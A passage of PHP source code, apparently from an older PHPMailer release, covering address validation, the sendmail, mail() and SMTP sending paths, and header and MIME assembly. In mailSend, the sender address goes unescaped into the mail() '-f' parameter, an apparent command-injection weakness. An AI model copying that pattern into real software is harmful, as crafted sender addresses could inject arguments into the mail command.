2406 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
2407 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
2408 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
2409 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2410 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
2411 $address
2412 );
2413 case 'pcre':
2414 //An older regex that doesn't need a recent PCRE
2415 return (boolean)preg_match(
2416 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
2417 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
2418 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
2419 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
2420 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
2421 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
2422 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
2423 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
2424 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2425 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
2426 $address
2427 );
2428 case 'html5':
2429 /**
2430 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
2431 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
2432 */
2433 return (boolean)preg_match(
2434 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
2435 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
2436 $address
2437 );
2438 case 'noregex':
2439 //No PCRE! Do something _very_ approximate!
2440 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
2441 return (strlen($address) >= 3
2442 and strpos($address, '@') >= 1
2443 and strpos($address, '@') != strlen($address) - 1);
2444 case 'php':
2445 default:
2446 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
2447 }
2448 }
2449
2450 /**
2451 * Create a message and send it.
2452 * Uses the sending method specified by $Mailer.
2453 * @throws phpmailerException
2454 * @return boolean false on error - See the ErrorInfo property for details of the error.
2455 */
2456 public function send()
2457 {
2458 try {
2459 if (!$this->preSend()) {
2460 return false;
2461 }
2462 return $this->postSend();
2463 } catch (phpmailerException $exc) {
2464 $this->mailHeader = '';
2465 $this->setError($exc->getMessage());
2466 if ($this->exceptions) {
2467 throw $exc;
2468 }
2469 return false;
2470 }
2471 }
2472
2473 /**
2474 * Prepare a message for sending.
2475 * @throws phpmailerException
2476 * @return boolean
2477 */
2478 public function preSend()
2479 {
2480 try {
2481 $this->mailHeader = '';
2482 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
2483 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
2484 }
2485
2486 // Set whether the message is multipart/alternative
2487 if (!empty($this->AltBody)) {
2488 $this->ContentType = 'multipart/alternative';
2489 }
2490
2491 $this->error_count = 0; // reset errors
2492 $this->setMessageType();
2493 // Refuse to send an empty message unless we are specifically allowing it
2494 if (!$this->AllowEmpty and empty($this->Body)) {
2495 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
2496 }
2497
2498 $this->MIMEHeader = $this->createHeader();
2499 $this->MIMEBody = $this->createBody();
2500
2501 // To capture the complete message when using mail(), create
2502 // an extra header list which createHeader() doesn't fold in
2503 if ($this->Mailer == 'mail') {
2504 if (count($this->to) > 0) {
2505 $this->mailHeader .= $this->addrAppend('To', $this->to);
2506 } else {
2507 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
2508 }
2509 $this->mailHeader .= $this->headerLine(
2510 'Subject',
2511 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
2512 );
2513 }
2514
2515 // Sign with DKIM if enabled
2516 if (!empty($this->DKIM_domain)
2517 && !empty($this->DKIM_private)
2518 && !empty($this->DKIM_selector)
2519 && file_exists($this->DKIM_private)) {
2520 $header_dkim = $this->DKIM_Add(
2521 $this->MIMEHeader . $this->mailHeader,
2522 $this->encodeHeader($this->secureHeader($this->Subject)),
2523 $this->MIMEBody
2524 );
2525 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
2526 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
2527 }
2528 return true;
2529
2530 } catch (phpmailerException $exc) {
2531 $this->setError($exc->getMessage());
2532 if ($this->exceptions) {
2533 throw $exc;
2534 }
2535 return false;
2536 }
2537 }
2538
2539 /**
2540 * Actually send a message.
2541 * Send the email via the selected mechanism
2542 * @throws phpmailerException
2543 * @return boolean
2544 */
2545 public function postSend()
2546 {
2547 try {
2548 // Choose the mailer and send through it
2549 switch ($this->Mailer) {
2550 case 'sendmail':
2551 case 'qmail':
2552 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
2553 case 'smtp':
2554 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
2555 case 'mail':
2556 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2557 default:
2558 $sendMethod = $this->Mailer.'Send';
2559 if (method_exists($this, $sendMethod)) {
2560 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
2561 }
2562
2563 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2564 }
2565 } catch (phpmailerException $exc) {
2566 $this->setError($exc->getMessage());
2567 $this->edebug($exc->getMessage());
2568 if ($this->exceptions) {
2569 throw $exc;
2570 }
2571 }
2572 return false;
2573 }
2574
2575 /**
2576 * Send mail using the $Sendmail program.
2577 * @param string $header The message headers
2578 * @param string $body The message body
2579 * @see PHPMailer::$Sendmail
2580 * @throws phpmailerException
2581 * @access protected
2582 * @return boolean
2583 */
2584 protected function sendmailSend($header, $body)
2585 {
2586 if ($this->Sender != '') {
2587 if ($this->Mailer == 'qmail') {
2588 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2589 } else {
2590 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2591 }
2592 } else {
2593 if ($this->Mailer == 'qmail') {
2594 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
2595 } else {
2596 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
2597 }
2598 }
2599 if ($this->SingleTo) {
2600 foreach ($this->SingleToArray as $toAddr) {
2601 if (!@$mail = popen($sendmail, 'w')) {
2602 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2603 }
2604 fputs($mail, 'To: ' . $toAddr . "\n");
2605 fputs($mail, $header);
2606 fputs($mail, $body);
2607 $result = pclose($mail);
2608 $this->doCallback(
2609 ($result == 0),
2610 array($toAddr),
2611 $this->cc,
2612 $this->bcc,
2613 $this->Subject,
2614 $body,
2615 $this->From
2616 );
2617 if ($result != 0) {
2618 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2619 }
2620 }
2621 } else {
2622 if (!@$mail = popen($sendmail, 'w')) {
2623 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2624 }
2625 fputs($mail, $header);
2626 fputs($mail, $body);
2627 $result = pclose($mail);
2628 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2629 if ($result != 0) {
2630 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2631 }
2632 }
2633 return true;
2634 }
2635
2636 /**
2637 * Send mail using the PHP mail() function.
2638 * @param string $header The message headers
2639 * @param string $body The message body
2640 * @link http://www.php.net/manual/en/book.mail.php
2641 * @throws phpmailerException
2642 * @access protected
2643 * @return boolean
2644 */
2645 protected function mailSend($header, $body)
2646 {
2647 $toArr = array();
2648 foreach ($this->to as $toaddr) {
2649 $toArr[] = $this->addrFormat($toaddr);
2650 }
2651 $to = implode(', ', $toArr);
2652
2653 if (empty($this->Sender)) {
2654 $params = ' ';
2655 } else {
2656 $params = sprintf('-f%s', $this->Sender);
2657 }
2658 if ($this->Sender != '' and !ini_get('safe_mode')) {
2659 $old_from = ini_get('sendmail_from');
2660 ini_set('sendmail_from', $this->Sender);
2661 }
2662 $result = false;
2663 if ($this->SingleTo && count($toArr) > 1) {
2664 foreach ($toArr as $toAddr) {
2665 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
2666 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2667 }
2668 } else {
2669 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
2670 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2671 }
2672 if (isset($old_from)) {
2673 ini_set('sendmail_from', $old_from);
2674 }
2675 if (!$result) {
2676 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
2677 }
2678 return true;
2679 }
2680
2681 /**
2682 * Get an instance to use for SMTP operations.
2683 * Override this function to load your own SMTP implementation
2684 * @return SMTP
2685 */
2686 public function getSMTPInstance()
2687 {
2688 if (!is_object($this->smtp)) {
2689 $this->smtp = new SMTP;
2690 }
2691 return $this->smtp;
2692 }
2693
2694 /**
2695 * Send mail via SMTP.
2696 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
2697 * Uses the PHPMailerSMTP class by default.
2698 * @see PHPMailer::getSMTPInstance() to use a different class.
2699 * @param string $header The message headers
2700 * @param string $body The message body
2701 * @throws phpmailerException
2702 * @uses SMTP
2703 * @access protected
2704 * @return boolean
2705 */
2706 protected function smtpSend($header, $body)
2707 {
2708 $bad_rcpt = array();
2709
2710 if (!$this->smtpConnect()) {
2711 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
2712 }
2713 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2714 if (!$this->smtp->mail($smtp_from)) {
2715 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
2716 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
2717 }
2718
2719 // Attempt to send to all recipients
2720 foreach ($this->to as $to) {
2721 if (!$this->smtp->recipient($to[0])) {
2722 $bad_rcpt[] = $to[0];
2723 $isSent = false;
2724 } else {
2725 $isSent = true;
2726 }
2727 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
2728 }
2729 foreach ($this->cc as $cc) {
2730 if (!$this->smtp->recipient($cc[0])) {
2731 $bad_rcpt[] = $cc[0];
2732 $isSent = false;
2733 } else {
2734 $isSent = true;
2735 }
2736 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
2737 }
2738 foreach ($this->bcc as $bcc) {
2739 if (!$this->smtp->recipient($bcc[0])) {
2740 $bad_rcpt[] = $bcc[0];
2741 $isSent = false;
2742 } else {
2743 $isSent = true;
2744 }
2745 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
2746 }
2747
2748 // Only send the DATA command if we have viable recipients
2749 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
2750 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
2751 }
2752 if ($this->SMTPKeepAlive) {
2753 $this->smtp->reset();
2754 } else {
2755 $this->smtp->quit();
2756 $this->smtp->close();
2757 }
2758 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
2759 throw new phpmailerException(
2760 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
2761 self::STOP_CONTINUE
2762 );
2763 }
2764 return true;
2765 }
2766
2767 /**
2768 * Initiate a connection to an SMTP server.
2769 * Returns false if the operation failed.
2770 * @param array $options An array of options compatible with stream_context_create()
2771 * @uses SMTP
2772 * @access public
2773 * @throws phpmailerException
2774 * @return boolean
2775 */
2776 public function smtpConnect($options = array())
2777 {
2778 if (is_null($this->smtp)) {
2779 $this->smtp = $this->getSMTPInstance();
2780 }
2781
2782 // Already connected?
2783 if ($this->smtp->connected()) {
2784 return true;
2785 }
2786
2787 $this->smtp->setTimeout($this->Timeout);
2788 $this->smtp->setDebugLevel($this->SMTPDebug);
2789 $this->smtp->setDebugOutput($this->Debugoutput);
2790 $this->smtp->setVerp($this->do_verp);
2791 $hosts = explode(';', $this->Host);
2792 $lastexception = null;
2793
2794 foreach ($hosts as $hostentry) {
2795 $hostinfo = array();
2796 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
2797 // Not a valid host entry
2798 continue;
2799 }
2800 // $hostinfo[2]: optional ssl or tls prefix
2801 // $hostinfo[3]: the hostname
2802 // $hostinfo[4]: optional port number
2803 // The host string prefix can temporarily override the current setting for SMTPSecure
2804 // If it's not specified, the default value is used
2805 $prefix = '';
2806 $tls = ($this->SMTPSecure == 'tls');
2807 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
2808 $prefix = 'ssl://';
2809 $tls = false; // Can't have SSL and TLS at once
2810 } elseif ($hostinfo[2] == 'tls') {
2811 $tls = true;
2812 // tls doesn't use a prefix
2813 }
2814 $host = $hostinfo[3];
2815 $port = $this->Port;
2816 $tport = (integer)$hostinfo[4];
2817 if ($tport > 0 and $tport < 65536) {
2818 $port = $tport;
2819 }
2820 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
2821 try {
2822 if ($this->Helo) {
2823 $hello = $this->Helo;
2824 } else {
2825 $hello = $this->serverHostname();
2826 }
2827 $this->smtp->hello($hello);
2828
2829 if ($tls) {
2830 if (!$this->smtp->startTLS()) {
2831 throw new phpmailerException($this->lang('connect_host'));
2832 }
2833 // We must resend HELO after tls negotiation
2834 $this->smtp->hello($hello);
2835 }
2836 if ($this->SMTPAuth) {
2837 if (!$this->smtp->authenticate(
2838 $this->Username,
2839 $this->Password,
2840 $this->AuthType,
2841 $this->Realm,
2842 $this->Workstation
2843 )
2844 ) {
2845 throw new phpmailerException($this->lang('authenticate'));
2846 }
2847 }
2848 return true;
2849 } catch (phpmailerException $exc) {
2850 $lastexception = $exc;
2851 // We must have connected, but then failed TLS or Auth, so close connection nicely
2852 $this->smtp->quit();
2853 }
2854 }
2855 }
2856 // If we get here, all connection attempts have failed, so close connection hard
2857 $this->smtp->close();
2858 // As we've caught all exceptions, just report whatever the last one was
2859 if ($this->exceptions and !is_null($lastexception)) {
2860 throw $lastexception;
2861 }
2862 return false;
2863 }
2864
2865 /**
2866 * Close the active SMTP session if one exists.
2867 * @return void
2868 */
2869 public function smtpClose()
2870 {
2871 if ($this->smtp !== null) {
2872 if ($this->smtp->connected()) {
2873 $this->smtp->quit();
2874 $this->smtp->close();
2875 }
2876 }
2877 }
2878
2879 /**
2880 * Set the language for error messages.
2881 * Returns false if it cannot load the language file.
2882 * The default language is English.
2883 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
2884 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
2885 * @return boolean
2886 * @access public
2887 */
2888 public function setLanguage($langcode = 'en', $lang_path = '')
2889 {
2890 // Define full set of translatable strings in English
2891 $PHPMAILER_LANG = array(
2892 'authenticate' => 'SMTP Error: Could not authenticate.',
2893 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2894 'data_not_accepted' => 'SMTP Error: data not accepted.',
2895 'empty_message' => 'Message body empty',
2896 'encoding' => 'Unknown encoding: ',
2897 'execute' => 'Could not execute: ',
2898 'file_access' => 'Could not access file: ',
2899 'file_open' => 'File Error: Could not open file: ',
2900 'from_failed' => 'The following From address failed: ',
2901 'instantiate' => 'Could not instantiate mail function.',
2902 'invalid_address' => 'Invalid address',
2903 'mailer_not_supported' => ' mailer is not supported.',
2904 'provide_address' => 'You must provide at least one recipient email address.',
2905 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2906 'signing' => 'Signing Error: ',
2907 'smtp_connect_failed' => 'SMTP connect() failed.',
2908 'smtp_error' => 'SMTP server error: ',
2909 'variable_set' => 'Cannot set or reset variable: '
2910 );
2911 if (empty($lang_path)) {
2912 // Calculate an absolute path so it can work if CWD is not here
2913 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2914 }
2915 $foundlang = true;
2916 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2917 if ($langcode != 'en') { // There is no English translation file
2918 // Make sure language file path is readable
2919 if (!is_readable($lang_file)) {
2920 $foundlang = false;
2921 } else {
2922 // Overwrite language-specific strings.
2923 // This way we'll never have missing translations.
2924 $foundlang = include $lang_file;
2925 }
2926 }
2927 $this->language = $PHPMAILER_LANG;
2928 return (boolean)$foundlang; // Returns false if language not found
2929 }
2930
2931 /**
2932 * Get the array of strings for the current language.
2933 * @return array
2934 */
2935 public function getTranslations()
2936 {
2937 return $this->language;
2938 }
2939
2940 /**
2941 * Create recipient headers.
2942 * @access public
2943 * @param string $type
2944 * @param array $addr An array of recipient,
2945 * where each recipient is a 2-element indexed array with element 0 containing an address
2946 * and element 1 containing a name, like:
2947 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2948 * @return string
2949 */
2950 public function addrAppend($type, $addr)
2951 {
2952 $addresses = array();
2953 foreach ($addr as $address) {
2954 $addresses[] = $this->addrFormat($address);
2955 }
2956 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2957 }
2958
2959 /**
2960 * Format an address for use in a message header.
2961 * @access public
2962 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2963 * like array('joe@example.com', 'Joe User')
2964 * @return string
2965 */
2966 public function addrFormat($addr)
2967 {
2968 if (empty($addr[1])) { // No name provided
2969 return $this->secureHeader($addr[0]);
2970 } else {
2971 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2972 $addr[0]
2973 ) . '>';
2974 }
2975 }
2976
2977 /**
2978 * Word-wrap message.
2979 * For use with mailers that do not automatically perform wrapping
2980 * and for quoted-printable encoded messages.
2981 * Original written by philippe.
2982 * @param string $message The message to wrap
2983 * @param integer $length The line length to wrap to
2984 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2985 * @access public
2986 * @return string
2987 */
2988 public function wrapText($message, $length, $qp_mode = false)
2989 {
2990 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
2991 // If utf-8 encoding is used, we will need to make sure we don't
2992 // split multibyte characters when we wrap
2993 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2994 $lelen = strlen($this->LE);
2995 $crlflen = strlen(self::CRLF);
2996
2997 $message = $this->fixEOL($message);
2998 if (substr($message, -$lelen) == $this->LE) {
2999 $message = substr($message, 0, -$lelen);
3000 }
3001
3002 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
3003 $message = '';
3004 for ($i = 0; $i < count($line); $i++) {
3005 $line_part = explode(' ', $line[$i]);
3006 $buf = '';
3007 for ($e = 0; $e < count($line_part); $e++) {
3008 $word = $line_part[$e];
3009 if ($qp_mode and (strlen($word) > $length)) {
3010 $space_left = $length - strlen($buf) - $crlflen;
3011 if ($e != 0) {
3012 if ($space_left > 20) {
3013 $len = $space_left;
3014 if ($is_utf8) {
3015 $len = $this->utf8CharBoundary($word, $len);
3016 } elseif (substr($word, $len - 1, 1) == '=') {
3017 $len--;
3018 } elseif (substr($word, $len - 2, 1) == '=') {
3019 $len -= 2;
3020 }
3021 $part = substr($word, 0, $len);
3022 $word = substr($word, $len);
3023 $buf .= ' ' . $part;
3024 $message .= $buf . sprintf('=%s', self::CRLF);
3025 } else {
3026 $message .= $buf . $soft_break;
3027 }
3028 $buf = '';
3029 }
3030 while (strlen($word) > 0) {
3031 if ($length <= 0) {
3032 break;
3033 }
3034 $len = $length;
3035 if ($is_utf8) {
3036 $len = $this->utf8CharBoundary($word, $len);
3037 } elseif (substr($word, $len - 1, 1) == '=') {
3038 $len--;
3039 } elseif (substr($word, $len - 2, 1) == '=') {
3040 $len -= 2;
3041 }
3042 $part = substr($word, 0, $len);
3043 $word = substr($word, $len);
3044
3045 if (strlen($word) > 0) {
3046 $message .= $part . sprintf('=%s', self::CRLF);
3047 } else {
3048 $buf = $part;
3049 }
3050 }
3051 } else {
3052 $buf_o = $buf;
3053 $buf .= ($e == 0) ? $word : (' ' . $word);
3054
3055 if (strlen($buf) > $length and $buf_o != '') {
3056 $message .= $buf_o . $soft_break;
3057 $buf = $word;
3058 }
3059 }
3060 }
3061 $message .= $buf . self::CRLF;
3062 }
3063
3064 return $message;
3065 }
3066
3067 /**
3068 * Find the last character boundary prior to $maxLength in a utf-8
3069 * quoted (printable) encoded string.
3070 * Original written by Colin Brown.
3071 * @access public
3072 * @param string $encodedText utf-8 QP text
3073 * @param integer $maxLength find last character boundary prior to this length
3074 * @return integer
3075 */
3076 public function utf8CharBoundary($encodedText, $maxLength)
3077 {
3078 $foundSplitPos = false;
3079 $lookBack = 3;
3080 while (!$foundSplitPos) {
3081 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
3082 $encodedCharPos = strpos($lastChunk, '=');
3083 if (false !== $encodedCharPos) {
3084 // Found start of encoded character byte within $lookBack block.
3085 // Check the encoded byte value (the 2 chars after the '=')
3086 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
3087 $dec = hexdec($hex);
3088 if ($dec < 128) { // Single byte character.
3089 // If the encoded char was found at pos 0, it will fit
3090 // otherwise reduce maxLength to start of the encoded char
3091 $maxLength = ($encodedCharPos == 0) ? $maxLength :
3092 $maxLength - ($lookBack - $encodedCharPos);
3093 $foundSplitPos = true;
3094 } elseif ($dec >= 192) { // First byte of a multi byte character
3095 // Reduce maxLength to split at start of character
3096 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
3097 $foundSplitPos = true;
3098 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
3099 $lookBack += 3;
3100 }
3101 } else {
3102 // No encoded character found
3103 $foundSplitPos = true;
3104 }
3105 }
3106 return $maxLength;
3107 }
3108
3109 /**
3110 * Set the body wrapping.
3111 * @access public
3112 * @return void
3113 */
3114 public function setWordWrap()
3115 {
3116 if ($this->WordWrap < 1) {
3117 return;
3118 }
3119
3120 switch ($this->message_type) {
3121 case 'alt':
3122 case 'alt_inline':
3123 case 'alt_attach':
3124 case 'alt_inline_attach':
3125 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
3126 break;
3127 default:
3128 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
3129 break;
3130 }
3131 }
3132
3133 /**
3134 * Assemble message headers.
3135 * @access public
3136 * @return string The assembled headers
3137 */
3138 public function createHeader()
3139 {
3140 $result = '';
3141
3142 // Set the boundaries
3143 $uniq_id = md5(uniqid(time()));
3144 $this->boundary[1] = 'b1_' . $uniq_id;
3145 $this->boundary[2] = 'b2_' . $uniq_id;
3146 $this->boundary[3] = 'b3_' . $uniq_id;
3147
3148 if ($this->MessageDate == '') {
3149 $this->MessageDate = self::rfcDate();
3150 }
3151 $result .= $this->headerLine('Date', $this->MessageDate);
3152
3153
3154 // To be created automatically by mail()
3155 if ($this->SingleTo) {
3156 if ($this->Mailer != 'mail') {
3157 foreach ($this->to as $toaddr) {
3158 $this->SingleToArray[] = $this->addrFormat($toaddr);
3159 }
3160 }
3161 } else {
3162 if (count($this->to) > 0) {
3163 if ($this->Mailer != 'mail') {
3164 $result .= $this->addrAppend('To', $this->to);
3165 }
3166 } elseif (count($this->cc) == 0) {
3167 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
3168 }
3169 }
3170
3171 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
3172
3173 // sendmail and mail() extract Cc from the header before sending
3174 if (count($this->cc) > 0) {
3175 $result .= $this->addrAppend('Cc', $this->cc);
3176 }
3177
3178 // sendmail and mail() extract Bcc from the header before sending
3179 if ((
3180 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
3181 )
3182 and count($this->bcc) > 0
3183 ) {
3184 $result .= $this->addrAppend('Bcc', $this->bcc);
3185 }
3186
3187 if (count($this->ReplyTo) > 0) {
3188 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
3189 }
3190
3191 // mail() sets the subject itself
3192 if ($this->Mailer != 'mail') {
3193 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
3194 }
3195
3196 if ($this->MessageID != '') {
3197 $this->lastMessageID = $this->MessageID;
3198 } else {
3199 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
3200 }
3201 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
3202 $result .= $this->headerLine('X-Priority', $this->Priority);
3203 if ($this->XMailer == '') {
3204 $result .= $this->headerLine(
3205 'X-Mailer',
3206 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
3207 );
3208 } else {
3209 $myXmailer = trim($this->XMailer);
3210 if ($myXmailer) {
3211 $result .= $this->headerLine('X-Mailer', $myXmailer);
3212 }
3213 }
3214
3215 if ($this->ConfirmReadingTo != '') {
3216 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
3217 }
3218
3219 // Add custom headers
3220 for ($index = 0; $index < count($this->CustomHeader); $index++) {
3221 $result .= $this->headerLine(
3222 trim($this->CustomHeader[$index][0]),
3223 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
3224 );
3225 }
3226 if (!$this->sign_key_file) {
3227 $result .= $this->headerLine('MIME-Version', '1.0');
3228 $result .= $this->getMailMIME();
3229 }
3230
3231 return $result;
3232 }
3233
3234 /**
3235 * Get the message MIME type headers.
3236 * @access public
3237 * @return string
3238 */
3239 public function getMailMIME()
3240 {
3241 $result = '';
3242 $ismultipart = true;
3243 switch ($this->message_type) {
3244 case 'inline':
3245 $result .= $this->headerLine('Content-Type', 'multipart/related;');
3246 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3247 break;
3248 case 'attach':
3249 case 'inline_attach':
3250 case 'alt_attach':
3251 case 'alt_inline_attach':
3252 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
3253 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3254 break;
3255 case 'alt':
3256 case 'alt_inline':
3257 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
3258 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3259 break;
3260 default:
3261 // Catches case 'plain': and case '':
3262 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
3263 $ismultipart = false;
3264 break;
3265 }
3266 // RFC1341 part 5 says 7bit is assumed if not specified
3267 if ($this->Encoding != '7bit') {
3268 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
3269 if ($ismultipart) {
3270 if ($this->Encoding == '8bit') {
3271 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
3272 }
3273 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
3274 } else {
3275 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
3276 }
3277 }
3278
3279 if ($this->Mailer != 'mail') {
3280 $result .= $this->LE;
3281 }
3282
3283 return $result;
3284 }
3285
3286 /**
3287 * Returns the whole MIME message.
3288 * Includes complete headers and body.
3289 * Only valid post preSend().
3290 * @see PHPMailer::preSend()
3291 * @access public
3292 * @return string
3293 */
3294 public function getSentMIMEMessage()
3295 {
3296 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
3297 }
3298
3299
3300 /**
3301 * Assemble the message body.
3302 * Returns an empty string on failure.
3303 * @access public
3304 * @throws phpmailerException
3305 * @return string The assembled message body
3306 */
3307 public function createBody()
3308 {
3309 $body = '';
3310
3311 if ($this->sign_key_file) {
3312 $body .= $this->getMailMIME() . $this->LE;
3313 }
3314
3315 $this->setWordWrap();
3316
3317 $bodyEncoding = $this->Encoding;
3318 $bodyCharSet = $this->CharSet;
3319 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
